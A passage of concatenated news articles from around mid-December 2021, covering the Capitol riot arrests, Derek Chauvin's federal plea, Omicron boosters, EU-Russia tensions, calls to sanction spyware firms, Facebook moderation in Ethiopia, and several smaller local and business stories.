Racing's loss of primary sponsorship from the U.S. Air Force for 2022 for the No. 20, it remains to be seen whether Conor Daly or Ryan Hunter-Reay can find the support to stay in the running for the road-and-street-course role in the No. 20, or whether former Formula 2 driver Jack Aitken, who recently tested with ECR, will be signed to add yet another rookie to the field. In addition, there's little known as to what may happen with Carlin and Max Chilton's future -- whether the team will continue running as normal as a one-car team, partner on an entry with a program like Juncos Hollinger Racing, or fold altogether. A.J. Foyt Racing president Larry Foyt also said weeks ago his team is still mulling adding another full-time car, should primary sponsor ROKiT decide to make the investment, though that possibility seems less likely than when Foyt brought it up in September. Email IndyStar motor sports reporter Nathan Brown at nlbrown@gannett.com. Follow him on Twitter: @By_NathanBrown. This article originally appeared on Indianapolis Star: IndyCar: Dale Coyne adds David Malukas, HMD Motorsports for 2022 Two men from the Dallas-Fort Worth area were arrested Monday and charged with assaulting police officers during the U.S. Capitol riot. Donald Hazard, 43, of Hurst, and Lucas Denney, 44, of Mansfield, are accused of physically attacking U.S. Capitol Police officers on Jan 6. They are charged with engaging in physical violence in a restricted building or grounds, civil disorder, obstructing an official proceeding, and assaulting, resisting or impeding officers with a dangerous weapon or resulting in bodily injury. Denney and Hazard used social media to recruit people into Denneys white supremacist militia group, the Patriot Boys of North Texas, according to the Department of Justice and court documents. On Dec. 30, 2020, Denney posted on Facebook a photograph with the text, Occupy Congress and the great betrayal is over. The post was removed the same day. On Dec. 21, according to court documents, Denney texted Hazard and said a militia meeting [w]ent great man. Were all good and solid. Trump himself is calling for a big protest in DC on January 6th. Im not going to miss this one. If you can go, its paid for. The two exchanged messages about the various tactical gear they planned to wear in Washington, including bump helmets, body armor and safety glasses. A video shot by the Washington Post shows Hazard, dressed in tactical gear, marching in Washington on Jan 6. In the video, Hazard tells the camera person, Make sure you get my face and everything on your news channel. I want the enemy to know exactly who is coming after them. On Jan. 6, Denney and Hazard joined other rioters at the west side of the Capitol as they yelled at police officers guarding the building, according to court documents. By 2:56 p.m., Hazard was inside the building and in a hallway near the Parliamentarian Door, according to video footage. He briefly went into the Parliamentarians office, court documents say, then continued down the hallway, further into the building. Hazard posted videos to himself on Facebook breaking into the [U.S. Capitol] bldg and [t]elling everyone to come down and help storm the building like a true patriot, court documents say. Story continues After several minutes, officers began to corral the crowd back toward the Parliamentarian Door. Footage shows Hazard grappling with U.S. Capitol Police officers as he fell down a set of stairs under scaffolding erected on the west side of the building. Hazard fought with one officer as they were both falling; the officer was knocked unconscious and sustained injuries to his head, foot and arm, according to the Department of Justice. Denney is accused of launching a large tube at an officer, grabbing a canister of crowd-control spray from another and swinging a long metal pole at a third officer. By 3:12 p.m., he went into a tunnel that leads to the Capitol building, carrying either a baton or a stick, according to court documents. He and other rioters tried to force their way into the building and, on the steps of the Capitol building, he swung his fist at an officer and pulled the officer down the stairs outside the building, court documents say. The men made comments on Facebook about their participation in the riot, according to court documents. Hazard wrote he had to fight several cops. On Jan. 14, he replied to a user in a Facebook comment and said, I found out the worst I could be facing was a misdemeanor. Now I wish I hadnt erased my pics and videos. Both men appeared in court on Tuesday in the Northern District of Texas and remain in custody pending further proceedings. The case is being prosecuted by the U.S. Attorneys Office for the District of Columbia and the Department of Justice National Security Divisions Counterterrorism Section. The U.S. Attorneys Office for the Northern District of Texas and the U.S. Attorneys Office for the Western District of Texas assisted in the investigation, the DOJ said in a press release. The case is being investigated by the Fort Worth Resident Agency of the FBIs Dallas Field Office, along with the FBIs Washington Field Office. The Del Rio, Texas Resident Agency of the FBIs San Antonio Office, the Texas Department of Public Safety, the Hurst Police Department, the Metropolitan Police Department and the U.S. Capitol Police assisted in the investigation, as well. In the 11 months since Jan. 6, more than 700 people have been arrested in nearly all 50 states for crimes related to the breach of the U.S. Capitol, the DOJ said. More than 220 individuals are charged with assaulting or impeding law enforcement. The Centennial Elementary School in Denver is getting flak for organizing a "Families of Color Playground Night." Screengrab/Christopher Rufo/Twitter The Centennial Elementary School in Denver is facing harsh criticism for planning a "Families of Color Playground Night." The event was listed in a Facebook post advertising the school's diversity and inclusivity initiatives. The page listed the event as a monthly activity taking place on the second Wednesday of every month. An elementary school in Denver faces backlash on social media for organizing a "Families of Color Playground Night." A huge sign promoting the event was spotted by writer Chris Rufo, senior fellow and director of the initiative on critical race theory at the Manhattan Institute think tank. Rufo said in a tweet on Tuesday that he was told by Centennial Elementary School, which was hosting the event, that playground night had been organized by the institute's Dean of Culture, Nicole Tembrock, but was subsequently canceled due to COVID-19 protocols. The event is currently listed on the school's website as taking place every second Wednesday of the month. Centennial Elementary School calendar. "The Families of Color Playground Night will be Oct. 13, right after school until 5:45, on the WEST playground. It will continue to be the 2nd Wed. of the month (Nov. 10, Dec. 8), at school, outside, as long as weather permits. At that point, it will be virtual, and probably later in the evening," reads a listing on the school's website. However, the event was still included in the line-up of upcoming things to look out for as part of the school's push for "diversity and inclusivity," per a Sep. 30 Facebook post by Centennial. Pictures of the playground sign advertising the event at the Centennial Elementary school circulated on social media, prompting criticism from Twitter users who called the event "disturbing." Dave Kopel, a law professor at Denver University, also pointed out in a tweet that the event may be in violation of the Colorado constitution, which stipulates against discrimination on account of race or color. Story continues Fox News obtained a statement from Centennial school officials, who said that the event was created because parents requested it. "Our school leaders met with some of the Black families whose children attend our school to determine ways for these families to feel more included in our school community," Centennial Elementary told Fox News. "Some of these families shared with us that, since the only time many of them see one another is at drop-off and pick-up times, we host some events where Black families can meet one another, connect with one another and share their experiences about the school with one another," read the statement. "We are honoring their request. All families are welcome to attend all of our events, and families from a variety of backgrounds have done so," the statement added. According to the school's profile on Public School Review, the school has around 500 students, 50% of which are Hispanic, 7% mixed-race, and 1% Black. Insider has reached out to Centennial Elementary and its dean of culture for comment. Read the original article on Insider Former Minneapolis police officer Derek Chauvin pleaded guilty on Wednesday to a federal charge that he violated George Floyd's civil rights when he killed him in 2020. The disgraced former officer will avoid another trial but potentially extend the amount of time he serves in prison on a state sentence. He and three other former officers were indicted in May on charges of violating Floyd's constitutional right to be free from unreasonable seizure and force by a police officer. Alongside the three other former officers, Chauvin had originally pleaded not guilty in the federal case in September 2021. But he changed his plea Wednesday, eight months after he was convicted of murder in a state trial. As part of his plea deal, prosecutors recommended 300 months in prison, to run concurrently with Chauvin's murder sentence. Chauvin pleaded guilty to one count of violating Floyd's civil rights and another count of violating the civil rights of a 14-year-old in 2017. He had been facing another federal trial for the 2017 incident in which he grabbed the teenager by the neck and beat them with a flashlight. Chauvin held the teen down by placing his knee on the teen's neck while they were handcuffed, a similar tactic that was found to have killed Floyd. Prosecutors said other charges involving those cases would be dropped, according to the Associated Press. Chauvin appeared Wednesday morning in an orange jumpsuit in the US District Court of Minnesota, with members of his family and Floyd's family present. The teenager involved in the 2017 case was also sitting in the courtroom. When US District Judge Paul Magnuson asked whether he understood what he was going forward with. "Yes, your honor," Chauvin said. "You understand that there is no right to appeal to a higher court? This is the end of it? Magnuson followed up, according to the court pool. Yes, your honor, Chauvin replied. When the judge asked how Chauvin wanted to plead, he said, "At this time, guilty, your honor." Story continues Video of Chauvin pressing his knee into Floyd's neck as the man yelled out that he couldn't breathe helped galvanize a nationwide social movement aimed to draw attention to and stop excessive use of force by police against Black people. Floyd's cries of "I can't breathe" were stamped on flags and signs that were carried in street protests across the country. Chauvin's conviction in April, a rare outcome for law enforcement officers, was applauded by civil rights leaders who have been calling for local, state, and federal reforms for law enforcement agencies. He was sentenced to more than 22 years in prison and has been held in solitary confinement since then. The guilty plea will likely add about two and a half years to his sentence, but it will be up to a judge to decide any additional time served. Magnuson didn't set a date for sentencing. Per the plea deal, Chauvin will now serve time in a federal prison facility. Attorneys representing the Floyd family said in a statement that Chauvin's guilty plea shows "significant change is afoot" in holding officers accountable. George Floyd was a son, a brother, and a father who changed the world, they said. We all play a role in keeping his legacy alive. We must all keep marching. We must all keep fighting against injustice. We must do this for George, to ensure that his one life and shocking death will change the future for countless others. The three other former Minneapolis police officers, Tou Thao, J. Alexander Kueng, and Thomas Lane, will go to trial early next year for allegedly failing to provide Floyd with medical care at the scene. The trio had petitioned the court hoping to be tried separately from Chauvin, arguing they could not receive a fair trial if they faced a jury alongside him, but a federal judge ruled the four ex-officers would be tried together. Now that Chauvin has pleaded guilty, he will not be tried with the other officers. More on this Derek Chauvin during his trial in April 2021. CourtTV/Pool camera Derek Chauvin admitted guilt Wednesday in the federal civil rights case tied to the killing of George Floyd. He was previously sentenced in state court to more than 22 years in prison in connection to Floyd's death. Chauvin's plea may help the three officers who witnessed Floyd's death and still await trial. Former Minneapolis police officer Derek Chauvin pleaded guilty Wednesday to charges that he willfully violated George Floyd's civil rights. Floyd died on May 25, 2020, after Chauvin knelt on his neck for several minutes while Floyd said he couldn't breathe. A Minnesota jury found Chauvin guilty of second-degree murder, third-degree murder, and manslaughter in Floyd's death in April, and Chauvin later was sentenced to a 22-and-a-half-year prison term. But Chauvin still faced trial in federal court on charges of aiding and abetting deprivation of rights under color of law, and deprivation of rights under color of law. He initially pleaded not guilty to the charges. Chauvin will be sentenced for the federal charges at a later date, but prosecutors are asking for a 25-year sentence, to be served at the same time as his state sentence, local outlet WCCO reported. He had previously faced the possibility of life in prison on the federal charges. He will also have to pay restitution, but the amount hasn't been determined yet. Federal prosecutors had also charged Chauvin over a 2017 incident in which he held a teenager down by the throat. As part of the plea agreement that Chauvin signed on Wednesday, that case will be dismissed, WCCO reported. The agreement also stipulates that Chauvin will never be able to work as a law enforcement officer again. According to WCCO, Chauvin wore an orange jumpsuit to the court appearance. Members of Floyd's family were present for the hearing, including Floyd's brother, Philonise. At one point during the hearing, Philonise Floyd turned to a juvenile and said, "It's a good day for justice," CNN reported. Story continues Chauvin's lawyer, Eric Nelson, had signaled his client would plead guilty in a Monday court filing. In anticipation of the new plea, the Associated Press spoke to a legal expert who explained how Chauvin admitting guilt in the federal case could help his fellow former officers. The three other officers who were present for Floyd's arrest Thomas Lane, J. Alexander Kueng, and Tou Thao were set to be tried alongside Chauvin in the federal case. All three have pleaded not guilty to the federal charges, in addition to state charges of aiding and abetting second-degree murder and manslaughter. Mike Brandt, a Minnesota defense attorney not connected to the case, told the AP that it could help the other officers' federal cases if Chauvin testifies in the trial, which is slated to start in late January, and takes responsibility for how the deadly arrest played out. The three other officers have sought to distance themselves from Chauvin. Lawyers for the trio previously tried and failed to have their federal cases severed from Chauvin, arguing that there would be unfair prejudice against them because Chauvin was already convicted on murder and manslaughter charges tied to Floyd's death. Read the original article on Insider By Ahmed Aboulenein and Michael Erman WASHINGTON (Reuters) -Booster doses of currently available COVID-19 vaccines work against the Omicron variant of the coronavirus and there appears to be no need for variant-specific boosters, top U.S. infectious disease expert Anthony Fauci said on Wednesday. "Our booster vaccine regimens work against Omicron. At this point, there is no need for a variant-specific booster," Fauci told reporters at a White House briefing. He said the neutralizing activity of two doses of Moderna's COVID-19 vaccine is "substantially low" against Omicron, citing data from the National Institute of Allergy and Infectious Diseases, of which he is director. "However, if you look at two weeks post the third dose, note the substantial degree of elevation of the neutralizing title; well within the range of neutralizing Omicron," he said of the study's findings, on which Moderna collaborated with the NIAID. BioNTech and Pfizer said last week that a three-shot course of their vaccine was able to neutralize Omicron in a laboratory test, but two doses resulted in significantly lower neutralizing antibodies. J&J has yet to release any of its own data about how its vaccine performs against the new coronavirus strain. All three U.S.-authorized COVID-19 vaccines appear to be significantly less protective against Omicron in laboratory testing, but a booster dose likely restores most of the protection, according to a study published on Tuesday. There are confirmed cases of the variant in at least 36 states, representing about 3% of COVID-19 cases in the country, U.S. Centers for Disease Control and Prevention Director Rochelle Walensky said at the same briefing. The Delta variant remains responsible for the vast majority of cases, she added. "We expect to see the proportion of Omicron cases here in the United States continue to grow in the coming weeks. Early data suggests that Omicron is more transmissible than Delta, with a doubling time of about two days," Walensky said. She said officials were starting to see COVID-19 cases increase in fully vaccinated nursing-home residents, but residents who have had a booster shot have an infection rate that is 10 times lower. (Reporting by Ahmed Aboulenein in Washington and Michael Erman in New Jersey; Additional rerpoting by Jeff Mason in Washington and Ismail Shakil in Bengaluru; Editing by Chizu Nomiyama, Bernadette Baum and Mark Heinrich) EU leaders will try to rescue their outreach to five former Soviet republics of eastern Europe on Wednesday, all of them would-be partners undermined by Russian meddling and regional strife. The "Eastern Partnership" has already lost a member: Belarus, which broke with the grouping in June after criticism from EU capitals of strongman Alexander Lukashenko's disputed re-election. The remaining five partners -- Ukraine, Moldova, Georgia, Armenia and Azerbaijan -- will send leaders to Brussels to meet the heads of the 27 member states, one day ahead of a full EU summit. "The timing of this summit has been well chosen, because these countries are going through a complicated spell," a senior European official explained. The date may be right, but diplomats in Brussels are expecting a frustrating encounter. On one hand, western capitals are keen to show a united front against Russian threats. On the other, they know that they can't honestly offer the eastern countries a path to EU membership. Ukraine, Georgia and Moldova -- which all have Russian troops occupying regions on their soil -- would like to join the European Union, seeing it as a guarantor of peace and prosperity. But a European minister told AFP: "We can't do anything." Each step of the long accession process needs unanimous support from existing member states, and long-standing candidates in the western Balkans already face an uncertain wait. "Some member states are pushing to accept Georgia and Ukraine into the EU, but others say that is not possible," the minister told AFP, speaking on condition of anonymity. The Eastern Partnership summit will begin at 4:00pm (1500 GMT) on Wednesday, but before then EU and national leaders will have held side meetings on specific regional crises. - Border clashes - European Council president and summit host Charles Michel will have sat down with the leaders of Armenia and Azerbaijan late Tuesday to "soothe tensions" after a recent flare-up in their conflict. Story continues A short but sharp war between the long-standing foes in late 2020 left 6,500 dead and Azerbaijan in control of more territory around the disputed enclave of Nagorno-Karabakh. Border clashes erupted again last month. The European Union has tried to act as a mediator, but Russia and Turkey are also very influential in the region. Separately, just ahead of the main summit, Ukraine's President Volodymyr Zelensky will meet President Emmanuel Macron of France and Germany's new leader, Chancellor Olaf Scholz. France and Germany are overseeing the so-called Minsk Process with Russia and Ukraine to negotiate an end to the conflict that saw Moscow seize Crimea and mass troops on the Ukrainian border. Western capitals have been alarmed by the recent Russian troop build-up. The EU has warned Russia it will join Britain and the United States in imposing massive economic sanctions in the event of invasion. But this week Zelensky accused Germany, under Scholz's predecessor Angela Merkel, of blocking the shipment of weapons from NATO members to Ukraine to defend itself. Georgia, meanwhile is going through political crisis. And Moldova's economy is suffering from a hike in gas prices that Brussels sees as orchestrated by Moscow to flex its muscles in the region. Two Georgian regions -- Abkhazia and South Ossetia -- are occupied by Russian forces, as is the breakaway Moldovan region of Transnistria. "The permanent destabilisation of numerous areas in the (Eastern) Partnership is very worrying because it threatens peace inside and outside the region," the European minister said. Brussels has taken a rough line with President Vladimir Putin's Moscow of late, expanding various sanctions regimes and threatening a strategic-level economic response to aggression. EU leaders have denounced Lukashenko's channelling of migrants towards the EU border and accused the Kremlin of manipulating gas prices for political ends. But, the minister admitted, Europe "counts for little with Putin, who only seeks to deal with the Americans when it comes to the architecture and the stability of Europe." - Long slow path - Putin wants to maintain Russian influence over the former Soviet republics now bordering Turkey and EU members -- and to thwart any hope of their joining the EU or NATO. Europeans publicly reject the idea of a Russian veto or sphere of influence, insisting the eastern partners are free to choose their own future and strategic alignments. But in private, several senior European diplomats and government officials admit that no one in Brussels can envisage Ukraine or Georgia joining the EU. "The accession process concerns the western Balkans countries, not the Partnership," said Peter Stano, a spokesman for EU foreign policy chief Josep Borrell. For the EU, ties with Kiev, Tbilisi and Chisinau are governed by partnership deals signed in 2014, not the long, slow path to membership followed by countries like Serbia and Montenegro. The senior EU official explained: "We offer these countries a made-to-measure partnership. We give more to countries that want to do more." Europe will thus mobilise a 2.3 billion-euro ($2.6-billion) investment plan, backed by billions more from private and non-EU institutional sources, to rebuild the partnership. But, without a clear path to true membership, frustration and disappointment are mounting, marked by warning signs like Zelensky's outburst against Merkel. "The EU will have to carefully calibrate its actions and reactions if it isn't going to leave space for Russia to act," a member state official warned. csg/dc/rmb By Joseph Menn and Joel Schectman WASHINGTON (Reuters) - A group of U.S. lawmakers is asking the Treasury Department and State Department to sanction Israeli spyware firm NSO Group and three other foreign surveillance companies they say helped authoritarian governments commit human rights abuses. Their letter sent late Tuesday also asks for sanctions on top executives at NSO, the United Arab Emirates cybersecurity company DarkMatter, and European online bulk surveillance companies Nexa Technologies and Trovicor. The lawmakers asked for Global Magnitsky sanctions, which punishes those who are accused of enabling human rights abuses by freezing bank accounts and banning travel to the United States. The letter was signed by the Senate Finance Committee Chairman Ron Wyden, House Intelligence Committee Chairman Adam Schiff and 16 other Democratic lawmakers. Along with other reporting on the industry, they cite a recent Reuters article this month showing that NSO spyware was used against State Department employees in Uganda. The lawmakers said the spyware industry relies on U.S. investment and banks. "To meaningfully punish them and send a clear signal to the surveillance technology industry, the U.S. government should deploy financial sanctions," they wrote. Trovicor wrote back to Wyden, denying that it engaged in bulk surveillance and suggesting that his office had confused its work with that of another company. "Trovicor's products are not 'spyware' and are designed to be used for targeted investigations against identified individuals (as opposed to 'Bulk' surveillance)," it wrote. DarkMatter could not be reached for comment, while NSO and Nexa did not respond to questions. The letter says the companies facilitated the "disappearance, torture and murder of human rights activists and journalists." Surveillance firms have drawn increasing scrutiny from Washington as a barrage of media reports have tied them to human rights abuses. Story continues "These surveillance mercenaries sold their services to authoritarian regimes with long records of human rights abuses, giving vast spying powers to tyrants," Wyden told Reuters. "Predictably, those nations used surveillance tools to lock up, torture and murder reporters and human rights advocates. The Biden administration has the chance to turn off the spigot of American dollars and help put them out of business for good." Spokespeople for State and Treasury did not immediately respond to questions about the request. In November, the Commerce Department put NSO on the so-called Entity List, prohibiting U.S. suppliers from selling software or services to the Israeli spyware maker without getting special permission. A number of legal challenges also threaten the industry. Last week a prominent Saudi activist and the non-profit Electronic Frontier Foundation sued DarkMatter, alleging the group hacked into her phone. Apple sued NSO Group in November, saying that it violated U.S. laws by breaking into the software installed on iPhones. A 2019 Reuters investigation, cited in the letter, also exposed a secret hacking unit within DarkMatter, known as Project Raven, that helped the UAE spy on its enemies. In a September settlement with the Justice Department, three members of that unit, all former U.S. intelligence operatives, admitted to breaking hacking laws. (Reporting by Joseph Menn in San Francisco and Joel Schectman and Christopher Bing in Washington; Editing by Christopher Sanders and Lisa Shumaker) The Oversight Board, a group Facebook created to review its policy decisions, weighed in on a case of misinformation in war-torn Ethiopia Tuesday, warning the company about the risks of allowing hate speech and unverified information to spread freely in conflict zones. The Oversight Board reviewed a post in Amharic from an Ethiopia-based Facebook user that claimed the Tigray Peoples Liberation Front (TPLF) was responsible for murder, rape and looting in Raya Kobo and other population centers in the country's Amhara region, aided by Tigrayan civilians. "While the user claims his sources are previous unnamed reports and people on-the-ground, he does not even provide circumstantial evidence to support his allegations," the Oversight Board wrote in its evaluation. "Rumors alleging that an ethnic group is complicit in mass atrocities, as found in this post, are dangerous and significantly increase the risk of imminent violence." The post was initially detected by Facebook's automated content moderation tools and removed when the platform's Amharic language content review team determined it violated the platform's rules against hate speech. Facebook reversed its own decision and reinstated the content after the case was escalated to the Oversight Board. The Oversight Board overturned Facebook's decision to reinstate the post, citing a violation of Facebook's rules against violence and incitement rather than the hate speech rules the platform had cited previously. In its decision, the group expressed concern that the spread of unverifiable rumors in violence-stricken areas like Ethiopia could "lead to grave atrocities, as was the case in Myanmar." The month, a group of Rohingya refugees in the U.S. filed a $150 billion class-action suit against Meta, alleging that Facebook's entrance into the country served as a "key inflection point" in the genocide of the Rohingya people. Misinformation stoking ethnic violence in Myanmar spread broadly on Facebook, often sown by military personnel, and is widely believed to have escalated ethnic violence that targeted and displaced the country's Muslim minority. Story continues Facebook whistleblower Frances Haugen has cited algorithmically amplified ethnic violence in countries like Myanmar and Ethiopia and Meta's failure to adequately address it as one of the platform's biggest dangers. "What we saw in Myanmar and are now seeing in Ethiopia are only the opening chapters of a story so terrifying, no one wants to read the end of it, Haugen told Congress in October. The Oversight Board also instructed Meta to order an independent human rights assessment on Facebook and Instagram's role in exacerbating the risk of ethnic violence in Ethiopia and to evaluate how well it can moderate content in the country's languages. Last month, Meta defended the safety precautions it had taken in the country, highlighting expanded applications of some of its rules against misinformation and hate speech. The company also noted that it had improved its enforcement abilities there in the past two years and now has the capability to review content in Amharic, Oromo, Somali and Tigrinya, the four most common languages. The claim: Cold weather is not associated with heart attacks or blood clots False claims that cold weather is not associated with risk of heart attacks and blood clots are adding to health misinformation circulating on social media. A Facebook user shared a screenshot of a Dec. 2 article from News Punch with the headline, "Researchers Warn That Cold Weather Can Cause Blood Clots & Heart Attacks." The poster expressed doubt about that connection. "So now the clots and heart issues are being blamed on cold weather and stress," reads the caption of the post shared Dec. 4. "This is not a thing and never has been before. This is thinly veiled fake news." The post generated more than 400 likes in less than a week. Several variations of this claim popped up elsewhere as well, including a Dec. 8 post claiming cold was not connected with those conditions that accumulated close to 2,000 likes before it was deleted. But the claim is false. Special access for subscribers! Click here to sign up for our fact-check text chat Cold weather and related conditions are indeed associated with heart risks and blood clots, experts told USA TODAY. USA TODAY reached out to the social media user who shared the post for comment. Cold weather associated with heart attacks, blood clots The cold is associated with an increased risk of heart attack, but it does not directly cause heart attack, according to Dr. Michael Cullen, a cardiologist at Mayo Clinic. There are other factors that influence whether a person will have a heart attack, including the risks they may already have. "Attacks are usually caused by multiple different factors that usually include patients that have risk factors for diabetes, smoking, high blood pressure, (and) previous documented coronary artery disease," Cullen told USA TODAY. According to a 2018 study in the Journal of the American Medical Association, researchers found that "low air temperature, low atmospheric air pressure, high wind velocity and shorter sunshine duration" were associated with heart attacks. Story continues People are more likely to have a heart attack in the winter months in part because cold air causes the body to take in less oxygen, according to Dr. Samit Shah, interventional cardiologist at Yale Medicine. "So (when) somebody already has a problem where they're not getting enough blood flow to their brain or to their heart because of a blockage in a blood vessel, now they might be getting even less oxygen there," Shah said. Fact check: Herpes STD caused by viruses, not parasitic worm Blood vessels in the lungs constrict when inhaling cold air, which is what leads to reduced intake of oxygen, according to Cullen. Cold also makes arteries constrict, which can reduce blood flow and delivery of oxygen or raise blood pressure, which is a risk factor for cardiac distress, according to Dr. Comilla Sasson, vice president for science & innovation for emergency cardiovascular care at the American Heart Association. Fact check: Outdated interview used to make false claim about BioNTech CEOs vaccination status Cold can also lead to dehydration, which causes blood to get thicker and increases the risk for clots, Shah said. Lifestyle changes during cold weather Lifestyle changes during the winter months are also associated with increased risk of heart attacks and blood clots. When people go from a state of being sedentary to avoid the cold to exerting high levels of energy outside, such as shoveling snow, that exertion could put stress on the heart which could lead to an attack, Shah said. Fact check: No evidence Pfizer, Moderna COVID-19 vaccines cause miscarriage "People with high blood pressure are more likely to stay inside and eat food that has more salt, same with high cholesterol, and so risk factors are kind of less controlled in the winter months and that's known," Shah said. Lack of sunshine and colder weather is also linked to increased depression, which impacts heart health, according to Sasson. Lack of physical activity, which is much more likely to happen in the wintertime during respiratory virus season, can lead to risk of forming blood clots, according to Dr. James Zehnder, attending physician of hematology service at Stanford Hospital. He also noted that respiratory infections and pneumonia are more common in winter months, particularly among the elderly. Those illnesses can cause immobility, which is a risk factor for deep vein thrombosis a blood clot in deep veins. Fact check: COVID-19 vaccines safe for children, not linked to deaths People also drink more alcohol during the winter months, which is toxic to the heart, Zehnder said. This can increase the risk of atrial fibrillation, which is "an irregular and often very rapid heart rhythm (arrhythmia) that can lead to blood clots in the heart," according to Mayo Clinic. Our rating: False Based on our research, we rate FALSE the claim that cold weather is not associated with heart attacks or blood clots. Cold weather spurs an array of physical and lifestyle changes that generate an increased occurrence of heart attacks and blood clots, experts say. Our fact-check sources: Thank you for supporting our journalism. You can subscribe to our print edition, ad-free app or electronic newspaper replica here. Our fact-check work is supported in part by a grant from Facebook. This article originally appeared on USA TODAY: Fact check: Cold weather is associated with heart attacks, blood clots MILAN Fendi is investing in a key real estate project: the opening of a new new boutique in Milan, inside luxury shopping mall Galleria Vittorio Emanuele II. The boutique reinterprets Milans early 20th-century buildings, with distinctive geometric patterns and multicolored marbles, and opened on Tuesday. More from WWD Serge Brunschwig, chairman and chief executive officer of the company, underscored the relevance of the Milanese historical landmark and one of the most strategic locations in the city. This unique space offers the entire Fendi universe under the same roof. He also noted that the boutique embodies a contemporary reinterpretation of unique Milan historical buildings mixed with Roman elements and materials that characterize all our boutiques, as marbles and Fendi logo motifs. The furniture, created by Italian designers as Gio Ponti, and artworks, such as the one by Kiko Lopez on piano nobile, are conceived to recreate the atmosphere of a Milanese apartment that will welcome our clients in a sophisticated Fendi world. This boutique opening reinforces Fendis presence in Milan, and highlights the importance of the Italian capital of fashion and design. The Fendi flagship on Via Montenapoleone will remain open as well. Covering 2,700 square feet, Fendis mens and womens collections are displayed over three floors, each characterized by a special marble flooring and connected by an imposing staircase. Details include handmade stucco walls with the brands signature KL motif; glass fusion handrails, and displays in teal green recalling the shades used in Milanese and Roman 20s buildings. Inside the Fendi boutique. - Credit: courtesy image courtesy image Womens bags, accessories and shoes displayed on champagne metal shelves with silver metal drawer are available on the ground floor. Italys precious Arabescato Vagli marble flooring is reminiscent of the architecture of Roman churches, while ceilings with three-dimensional geometric patterns are inspired by Milans historical buildings. Story continues The mens collections are on the first floor, characterized by the Green Patagonia marble floor and leather sofas. Fendis fur and womens ready-to-wear collection are displayed on the second floor, defined as an intimate living room by wisteria-colored sheet metal walls and Black & White Patagonia marble used for the floor and the fireplace. A wooden door stands in the middle of the room, which allows for a private space. The furniture is a selection of bespoke and design pieces, such as the rust velvet armchairs by Gio Ponti and the fur and metal bench, amber glass fusion table and silver and glass artwork by Kiko Lopez. The Fendi boutique. - Credit: courtesy image courtesy image Sign up for WWD's Newsletter. For the latest news, follow us on Twitter, Facebook, and Instagram. MarketWatch Is there a job that comes with the prospect of a six-figure income, high job satisfaction and has enough job openings to make it a real possibility? Companies are always keen to use intel to improve efficiency and learn more about their customers and, so, computer scientists are in high demand. Java developers are No. 1 on Glassdoors 50 Best Jobs in America for 2021. Dec. 14KINGFIELD About 25 firefighters responded to Kingfield Wood Products at 37 Depot St. to extinguish a fire in a sawdust bin in a storage building Tuesday morning, Fire Chief Fred Nichols said. Sometimes a spark from machinery can catch the sawdust in the bin on fire, he said. The bin is outside the plant in a separate building and is connected by piping to the boiler used to make steam, he said. Firefighters dug through the sawdust to make sure they had the fire out. The company manufactures specialty wood products. There was no damage to the mill or the storage building and it continued to run while the fire was being put out with water and foam, Nichols said. Responding to assist Kingfield at the fire reported at 11:21 a.m. were departments from Carrabassett Valley, New Vineyard, New Portland and Strong. Nichols said firefighters cleared the scene at 2 p.m. Lights on a police car. Oliver Helbig/Getty Images A former Houston police captain has been indicted after he allegedly ran a truck off the road in 2020. Prosecutors say Mark Aguirre pointed a gun at the driver's head and forced him on the ground. Aguirre was allegedly trying to prove a bogus voter fraud conspiracy theory, prosecutors said. A former Houston police captain was indicted after he allegedly ran a truck off the road and pointed a gun at the driver's head while trying to prove a bogus voter fraud conspiracy in October 2020, prosecutors said. Mark Aguirre was indicted by a Harris County grand jury on Tuesday for aggravated assault with a deadly weapon a second-degree felony, Harris County District Attorney Kim Ogg said in a statement. According to prosecutors, Aguirre was arrested in December 2020 after he drove his car into the back of a truck to get the driver to stop. He is then accused of putting a handgun up to the driver's head and forcing him onto the ground. Aguirre told police after the October 2020 incident that he had was conducting a civilian investigation into a supposed voter fraud scheme, prosecutors alleged. Prosecutors alleged that Aguirre had been monitoring the individual for a few days, believing that he had 750,000 fraudulent ballots loaded into his truck. The victim was an innocent, air-conditioner repairman, prosecutors said, and he had no ballots in his truck when Aguirre allegedly forced him off the road. "He crossed the line from dirty politics to the commission of a violent crime and we are lucky no one was killed," Ogg said in the statement. "His alleged investigation was backward from the start, first alleging a crime occurred and then trying to prove it happened." Aguirre was not a police officer at the time of the alleged incident. His attorneys did not immediately respond to Insider's request for comment. Aguirre is currently out on $30,000 bond and due to stand trial in February, according to court documents. He faces up to 20 years in prison if convicted, Ogg said. Read the original article on Insider Texts Mark Meadows turned over: Graphic: January 6th Committee Two Fox News prime-time hosts tore into the House's 1/6 investigative committee last night as they spoke about their own texts during the siege. Driving the news: Sean Hannity and Laura Ingraham's texts had been turned over to the committee by former White House chief of staff Mark Meadows. The hosts spoke 24 hours after committee Vice Chair Liz Cheney read the texts aloud during a hearing on holding Meadows in contempt. Get market news worthy of your time with Axios Markets. Subscribe for free. Last night, Hannity and Ingraham both played tape of themselves on 1/6 as they condemned violence. Ingraham said: "The more they talk about January 6th, the stronger Trump and the GOP are becoming in the polls." Hannity spoke next to a graphic saying: "SHAM COMMITTEE." The House voted 222-208 late last night to hold Meadows, a former House member, in contempt of Congress for refusing to comply with a subpoena from the 1/6 committee. Only two Republicans Cheney and Rep. Adam Kinzinger of Illinois joined Democrats in voting for the resolution. Graphic: AP Reality check: An AP review of every potential case of voter fraud in the six battleground states disputed by former President Trump has found fewer than 475 a number that would have made no difference in the 2020 presidential election. President Biden won Arizona, Georgia, Michigan, Nevada, Pennsylvania and Wisconsin and their 79 Electoral College votes by a combined 311,257 votes out of 25.5 million ballots cast for president. The disputed ballots represent 0.15% of his victory margin in those states. Go deeper: State-by-state breakdown. Like this article? Get more from Axios and subscribe to Axios Markets for free. NAIROBI, Kenya (AP) A freelance video journalist accredited to The Associated Press in Ethiopia has been detained by police in the capital, Addis Ababa, the news organization said Wednesday. Amir Aman Kiyaro was detained under the countrys new war-related state of emergency powers on Nov. 28 after returning home from a reporting trip. He has not been charged. Officials with the Ethiopian Media Authority, the prime ministers office, the foreign ministry and other government offices have not responded to repeated requests from the AP for information about him since his detention. State media on Wednesday reported his detention, citing federal police, and said he was accused of serving the purposes of a terrorist group by interviewing it. The report said local journalists Thomas Engida and Addisu Muluneh also were detained. Federal police inspector Tesfaye Olani told state media that the journalists violated the state of emergency law and Ethiopias anti-terrorism law and the violations could lead to seven to 15 years behind bars. In a statement, APs Executive Editor Julie Pace urged that Kiyaro be freed: The Associated Press is extremely concerned that AP freelancer Amir Aman Kiyaro has been detained by the Ethiopian government, accused of promoting 